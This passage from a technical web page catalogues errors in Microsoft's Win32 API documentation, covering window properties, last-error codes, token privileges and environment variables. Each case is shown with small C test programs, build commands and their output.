    SetMessageExtraInfo(…) returned 0
    SetMessageExtraInfo(…) returned -1
    SetMessageExtraInfo(…) returned -2
    SetMessageExtraInfo(…) returned -3
    SetMessageExtraInfo(…) returned -4
    SetMessageExtraInfo(…) returned -5
    SetMessageExtraInfo(…) returned -6
    SetMessageExtraInfo(…) returned -7
    SetMessageExtraInfo(…) returned -8
    SetMessageExtraInfo(…) returned -9
    SetMessageExtraInfo(…) returned 0
    GetMessageExtraInfo() returned -1
    
    0
    OOPS: the window procedure is called 20 (in words: twenty) times here before the message loop starts!

    OUCH: the extra message information is 4 (in words: four) times reset to 0 here – contrary to both documentations cited above its value is not solely defined by the application!

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 9

The documentation for the Win32 function SetLastError() states in its Remarks section:
Most functions call SetLastError or SetLastErrorEx only when they fail. However, some system functions call SetLastError or SetLastErrorEx under conditions of success; those cases are noted in each function's documentation.
The documentation for the Win32 function EnumProps() states:
Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumProps continues until the last entry is enumerated or the callback function returns FALSE.

[…]

The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.

The documentation for the Win32 function EnumPropsEx() states:
Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumPropsEx continues until the last entry is enumerated or the callback function returns FALSE.

[…]

The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.

The documentation for the Win32 function GetProp() states:
Retrieves a data handle from the property list of the specified window. The character string identifies the handle to be retrieved. The string and handle must have been added to the property list by a previous call to the SetProp function.

[…]

If the property list contains the string, the return value is the associated data handle. Otherwise, the return value is NULL.

The documentation for the Win32 function RemoveProp() states:
Removes an entry from the property list of the specified window. The specified character string identifies the entry to be removed.

[…]

The return value identifies the specified data. If the data cannot be found in the specified property list, the return value is NULL.

[…]

The RemoveProp function returns the data handle associated with the string so that the application can free the data associated with the handle.

The documentation for the Win32 function SetProp() states:
Adds a new entry or changes an existing entry in the property list of the specified window. The function adds a new entry to the list if the specified character string does not exist already in the list. The new entry contains the string and the handle. Otherwise, the function replaces the string's current handle with the specified handle.

[…]

If the data handle and string are added to the property list, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Falsification

Perform the following 3 simple steps to show the blunder and prove the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    BOOL	WINAPI	PropEnumProc(HWND hWindow, LPCWSTR lpString, HANDLE hData)
    {
    	return TRUE;
    }
    
    BOOL	WINAPI	EnumPropExProc(HWND hWindow, LPCWSTR lpString, HANDLE hData, ULONG_PTR lParam)
    {
    	PrintConsole((HANDLE) lParam,
    	             L"0x%p: property \'%ls\' is 0x%p\n",
    	             hWindow, lpString, hData);
    	return TRUE;
    }
    
    const	LPCWSTR	szBlunder[] = {L"BLUNDER", L"", NULL};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	HWND	hWindow;
    	BOOL	bBlunder;
    	DWORD	dwBlunder = 0UL;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    #if 1
    		hWindow = GetConsoleWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hError,
    			             L"GetConsoleWindow() returned error %lu\n",
    			             dwError = GetLastError());
    #elif 1
    		hWindow = GetDesktopWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hError,
    			             L"GetDesktopWindow() returned error %lu\n",
    			             dwError = GetLastError());
    #else
    		hWindow = GetShellWindow();
    
    		if (hWindow == NULL)
    			PrintConsole(hError,
    			             L"GetShellWindow() returned error %lu\n",
    			             dwError = GetLastError());
    #endif
    		else
    		{
    			bBlunder = EnumProps(hWindow, PropEnumProc);
    
    			if (bBlunder != TRUE)
    				PrintConsole(hError,
    				             L"EnumProps() returned 0x%08X\n",
    				             bBlunder);
    
    			bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
    
    			if (bBlunder != TRUE)
    				PrintConsole(hError,
    				             L"EnumPropsEx() returned 0x%08X\n",
    				             bBlunder);
    			do
    			{
    				PrintConsole(hError, L"\n");
    
    				SetLastError(~0UL);
    
    				if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
    					PrintConsole(hError,
    					             L"RemoveProp() returned error %lu for property \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				SetLastError(~0UL);
    
    				if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
    					PrintConsole(hError,
    					             L"GetProp() returned error %lu for property \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				SetLastError(~0UL);
    
    				if (!SetProp(hWindow, szBlunder[dwBlunder], NULL))
    					PrintConsole(hError,
    					             L"SetProp() returned error %lu for property \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				else
    				{
    					bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
    
    					if (bBlunder != TRUE)
    						PrintConsole(hError,
    						             L"EnumPropsEx() returned 0x%08X\n",
    						             bBlunder);
    					SetLastError(~0UL);
    
    					if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
    						PrintConsole(hError,
    						             L"GetProp() returned error %lu for property \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[dwBlunder]);
    					SetLastError(~0UL);
    
    					if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
    						PrintConsole(hError,
    						             L"RemoveProp() returned error %lu for property \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[dwBlunder]);
    				}
    			}
    			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(32) : warning C4100: 'hData' : unreferenced formal parameter
    blunder.c(32) : warning C4100: 'lpString' : unreferenced formal parameter
    blunder.c(32) : warning C4100: 'hWindow' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    EnumProps() returned 0x77A0B4C9
    EnumPropsEx() returned 0x00FB1060
    
    RemoveProp() returned error 4294967295 for property 'BLUNDER'
    GetProp() returned error 4294967295 for property 'BLUNDER'
    0x13400BAC: property 'BLUNDER' is 0x00000000
    GetProp() returned error 4294967295 for property 'BLUNDER'
    RemoveProp() returned error 4294967295 for property 'BLUNDER'
    
    RemoveProp() returned error 123 for property ''
    GetProp() returned error 123 for property ''
    SetProp() returned error 123 for property ''
    
    RemoveProp() returned error 4294967295 for property ''
    GetProp() returned error 4294967295 for property ''
    SetProp() returned error 87 for property ''
    
    0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87)
    Error message text: The parameter is incorrect.
    CertUtil: -error command completed successfully.
    OUCH¹: contrary to the highlighted statement of their documentations cited above, the Win32 functions EnumProps() and EnumPropsEx() fail to return −1 when they don’t enumerate a property!

    OUCH²: the documentations for the Win32 functions GetProp() and RemoveProp() fail to specify that both functions set the last error code – at least when the specified property is an empty character string!

    OUCH³: both functions but fail to set the last error code if the requested property does not exist!

    OUCH⁴: both functions also fail to reset the last error code if the handle set for the requested property is NULL!

    OUCH⁵: contrary to the Win32 function SetProp() they but fail to set the last error code (for example) to 87 alias ERROR_INVALID_PARAMETER if the requested property is NULL!

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 10

The documentation for the Win32 function GetLastError() states:
The Return Value section of the documentation for each function that sets the last-error code notes the conditions under which the function sets the last-error code. Most functions that set the thread's last-error code set it when they fail. However, some functions also set the last-error code when they succeed. If the function is not documented to set the last-error code, the value returned by this function is simply the most recent last-error code to have been set; some functions set the last-error code to 0 on success and others do not.
The documentation for the Win32 function IsTokenRestricted() states:
The IsTokenRestricted function indicates whether a token contains a list of restricted security identifiers (SIDs).

[…]

If the token contains a list of restricting SIDs, the return value is nonzero.

If the token does not contain a list of restricting SIDs, the return value is zero.

If an error occurs, the return value is zero. To get extended error information, call GetLastError.

CAVEAT: unless the IsTokenRestricted() function resets the last error code when the token does not contain a list of restricting security identifiers its result can’t be distinguished from an error!

Falsification

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    
    	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
    		dwError = GetLastError();
    	else
    	{
    		SetLastError(~0UL);
    
    		if (!IsTokenRestricted(hToken))
    			dwError = GetLastError();
    
    		if (!CloseHandle(hToken))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -1
    OUCH: the IsTokenRestricted() function fails to reset the last error code when the token does not contain a list of restricting security identifiers!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Counter Examples

The documentation for the Win32 function SendMessageTimeout() specifies in its Return value section:
Note that the function does not always call SetLastError on failure. If the reason for failure is important to you, call SetLastError(ERROR_SUCCESS) before calling SendMessageTimeout. If the function returns 0, and GetLastError returns ERROR_SUCCESS, then treat it as a generic failure.
The documentation for the Win32 function GetTlsValue() specifies in its Return value section:
If the function fails, the return value is zero. To get extended error information, call GetLastError.

The data stored in a TLS slot can have a value of 0 because it still has its initial value or because the thread called the TlsSetValue function with 0. Therefore, if the return value is 0, you must check whether GetLastError returns ERROR_SUCCESS before determining that the function has failed. If GetLastError returns ERROR_SUCCESS, then the function has succeeded and the data stored in the TLS slot is 0. Otherwise, the function has failed.

Functions that return indications of failure call SetLastError when they fail. They generally do not call SetLastError when they succeed. The TlsGetValue function is an exception to this general rule. The TlsGetValue function calls SetLastError to clear a thread's last error when it succeeds. That allows checking for the error-free retrieval of zero values.

The documentation for the Win32 function GetFileType() specifies in its Return value section:
Return code/value Description
FILE_TYPE_UNKNOWN
0x0000
Either the type of the specified file is unknown, or the function failed.

You can distinguish between a "valid" return of FILE_TYPE_UNKNOWN and its return due to a calling error (for example, passing an invalid handle to GetFileType) by calling GetLastError

If the function worked properly and FILE_TYPE_UNKNOWN was returned, a call to GetLastError will return NO_ERROR.

If the function returned FILE_TYPE_UNKNOWN due to an error in calling GetFileType, GetLastError will return the error code.

The documentation for the Win32 function GetFileSize() specifies in its Remarks section:
Note that if the return value is INVALID_FILE_SIZE (0xffffffff), an application must call GetLastError to determine whether the function has succeeded or failed. The reason the function may appear to fail when it has not is that lpFileSizeHigh could be non-NULL or the file size could be 0xffffffff. In this case, GetLastError will return NO_ERROR (0) upon success.
The documentation for the Win32 function GetCompressedFileSize() specifies in its Return value section:
If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR).
The documentation for the Win32 function AdjustTokenPrivileges() specifies in its Return value section:

If the function succeeds, the return value is nonzero. To determine whether the function adjusted all of the specified privileges, call GetLastError, which returns one of the following values when the function succeeds:

Return code Description
ERROR_SUCCESS The function adjusted all specified privileges.
ERROR_NOT_ALL_ASSIGNED The token does not have one or more of the privileges specified in the NewState parameter. The function may succeed with this error value even if no privileges were adjusted. The PreviousState parameter indicates the privileges that were adjusted.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Blunder № 11

The documentation for the TOKEN_PRIVILEGES structure specifies:
The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token. […]
typedef struct TOKEN_PRIVILEGES {
  DWORD               PrivilegeCount;
  LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
The documentation for the Win32 function AdjustTokenPrivileges() states:
The AdjustTokenPrivileges function enables or disables privileges in the specified access token. […]
BOOL AdjustTokenPrivileges(
  [in]            HANDLE            TokenHandle,
  [in]            BOOL              DisableAllPrivileges,
  [in, optional]  PTOKEN_PRIVILEGES NewState,
  [in]            DWORD             BufferLength,
  [out, optional] PTOKEN_PRIVILEGES PreviousState,
  [out, optional] PDWORD            ReturnLength
);
[…]

[in] BufferLength

Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL.

[out, optional] PreviousState

A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL.

If you specify a buffer that is too small to receive the complete list of modified privileges, the function fails and does not adjust any privileges. In this case, the function sets the variable pointed to by the ReturnLength parameter to the number of bytes required to hold the complete list of modified privileges.

[out, optional] ReturnLength

A pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.

Falsification

Perform the following 5 simple steps to prove the highlighted statement of the second documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define SE_CHANGE_NOTIFY_PRIVILEGE	23UL	// "SeChangeNotifyPrivilege"
    
    const	TOKEN_PRIVILEGES	tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	TOKEN_PRIVILEGES	tpState;
    
    	DWORD	dwState;
    	DWORD	dwError;
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    
    	if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    		dwError = GetLastError();
    	else
    	{
    		if (!AdjustTokenPrivileges(hToken,
    		                           FALSE,
    		                           &tp,
    #ifndef BLUNDER
    		                           sizeof(tpState),
    #else
    		                           sizeof(tpState.PrivilegeCount),
    #endif
    		                           &tpState,
    		                           &dwState))
    			dwError = GetLastError();
    		else
    			dwError = tpState.PrivilegeCount;
    
    		if (!CloseHandle(hToken))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: since the SeChangeNotifyPrivilege alias SE_CHANGE_NOTIFY_NAME privilege is enabled per default, no privileges are modified here – the PrivilegeCount member of tpState is set to 0 and its Privileges[ANYSIZE_ARRAY] member should not be used!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code to demonstrate the misbehaviour:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122)
    Error message text: The data area passed to a system call is too small.
    CertUtil: -error command completed successfully.
    OUCH: the AdjustTokenPrivileges() function fails with Win32 error code 122 alias ERROR_INSUFFICIENT_BUFFER despite the unused Privileges[ANYSIZE_ARRAY] member!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 12

The MSDN article Access Rights for Access-Token Objects states:
The following are valid access rights for access-token objects:
The documentation for the TOKEN_INFORMATION_CLASS enumeration states:
The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token.

[…]

TokenSessionId
[…]
If TokenSessionId is set with SetTokenInformation, the application must have the Act As Part Of the Operating System privilege, and the application must be enabled to set the session ID in a token.

Falsification

Perform the following 5 simple steps to prove the highlighted statements of the documentation cited above incomplete and wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwSession = 0UL;
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hToken;
    
    	if (!OpenProcessToken(hProcess,
    #ifdef BLUNDER
    	                      TOKEN_ADJUST_DEFAULT |
    #endif
    	                      TOKEN_ADJUST_SESSIONID,
    	                      &hToken))
    		dwError = GetLastError();
    	else
    	{
    		if (!SetTokenInformation(hToken,
    		                         TokenSessionId,
    		                         &dwSession,
    		                         sizeof(dwSession)))
    			dwError = GetLastError();
    
    		if (!CloseHandle(hToken))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function SetTokenInformation() fails with Win32 error code 5 alias ERROR_ACCESS_DENIED – contrary to the highlighted statements of the documentation cited above, the TOKEN_ADJUST_SESSIONID access right is not sufficient for TokenSessionId!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314)
    Error message text: A required privilege is not held by the client.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to the highlighted statements of the documentation cited above, the Win32 function SetTokenInformation() requires the access rights TOKEN_ADJUST_DEFAULT and TOKEN_ADJUST_SESSIONID for TokenSessionId!

    Note: the Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD is expected here – the SeTcbPrivilege alias SE_TCB_NAME privilege is not enabled.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 13

The MSDN article Environment Variables states:
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).

By default, a child process inherits the environment variables of its parent process. […]

Each environment block contains the environment variables in the following format:
Var1=Value1\0
Var2=Value2\0
Var3=Value3\0
...
VarN=ValueN\0\0

The name of an environment variable cannot include an equal sign (=).

[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, then broadcast a WM_SETTINGCHANGE message with lParam set to the string "Environment". This allows applications, such as the shell, to pick up your updates.

OUCH⁰: contrary to the highlighted statement of this article, the name of an environment variable can but include an equal sign!

The MSDN article User Environment Variables states:

Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.

By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]

To retrieve a copy of the environment block for a given user, use the CreateEnvironmentBlock function.

Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored: The articles also fail to tell that user environment variables obscure system environment variables of the same name – with but four notable exceptions: Thanks to the blunder listed last, privileged processes running under the NT AUTHORITY\SYSTEM alias LocalSystem user account use the public user-writable and therefore unsafe directory %SystemRoot%\Temp\ instead of their private and safe directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, allowing unprivileged users to tamper with (executable) files created there by these privileged processes, eventually resulting in local escalation of privilege.

Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.

Both articles also fail to tell that not all system environment variables are stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment:

Caveat: except __COMPAT_LAYER, whose values are appended to that of an existing environment variable with this name, they are but obscured by persistent system environment variables as well as persistent and volatile user environment variables with the same name stored in the registry keys shown above!

And last, both articles fail to mention the immutable dynamic system environment variables FIRMWARE_TYPE (introduced with Windows 8 and Windows Server 2012) plus NUMBER_OF_PROCESSORS, __APPDIR__ and __CD__ (introduced with Windows Vista and Windows Server 2008) which are nowhere stored and not present in the process environment block, but evaluated upon expansion.

Note: they are not obscured by regular environment variables of the same name!

The MSDN article WOW64 Implementation Details specifies:

When a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.

Process Environment variables
64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.
32-bit process PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%
The documentation for the Win32 function CreateEnvironmentBlock() specifies:
Retrieves the environment variables for the specified user. […]
BOOL CreateEnvironmentBlock(
  [out]          LPVOID *lpEnvironment,
  [in, optional] HANDLE hToken,
  [in]           BOOL   bInherit
);
[…]

[in, optional] hToken

Token for the user […]

If this parameter is NULL, the returned environment block contains system variables only.

Background Information

Before Windows 2000, all user accounts shared the world-writable Temp directory %SystemRoot%\Temp\ via the system environment variables TEMP and TMP.

Windows 2000 introduced a user profile for the (privileged) NT AUTHORITY\SYSTEM alias LocalSystem user account in the new directory %SystemRoot%\System32\Config\SystemProfile\ – which is but subject to file system redirection on 64-bit editions of Windows NT, where separate directories %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!

It also relocated all user profiles from their previous directories %SystemRoot%\Profiles\%USERNAME%\ into new directories %SystemDrive%\Documents and Settings\%USERNAME%\ and introduced a private Temp directory %USERPROFILE%\Local Settings\Temp\ alias %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\ located within these user profiles together with new user environment variables TEMP and TMPexcept for the LocalSystem user account, which continued (and still continues) to use the (still world-writable) directory %SystemRoot%\Temp\ via the system environment variables TEMP and TMP.

Windows XP added the (less privileged) user accounts NT AUTHORITY\LOCAL SERVICE alias LocalService and NT AUTHORITY\NETWORK SERVICE alias NetworkService, placed their user profiles in the directories %SystemDrive%\Documents and Settings\LocalService\ and %SystemDrive%\Documents and Settings\NetworkService\, created a private Temp directory within both user profiles and set their user environment variables TEMP and TMP to %USERPROFILE%\Local Settings\Temp.

Windows Vista relocated these two service profiles to the new directories %SystemRoot%\ServiceProfiles\LocalService\ and %SystemRoot%\ServiceProfiles\NetworkService\, relocated all regular user profiles %SystemDrive%\Documents and Settings\%USERNAME%\ to the directories %SystemDrive%\Users\%USERNAME%\, but kept the profiles %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\.
All user accounts except LocalSystem kept their private Temp directory, now %USERPROFILE%\AppData\Local\Temp\ alias %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for the regular user accounts and %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\ respectively %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\ for the service user accounts.

At least since Windows 7 the user environment variables TEMP and TMP are set in the LocalSystem user account too, despite the directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ or %SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\ is missing in its user profiles!

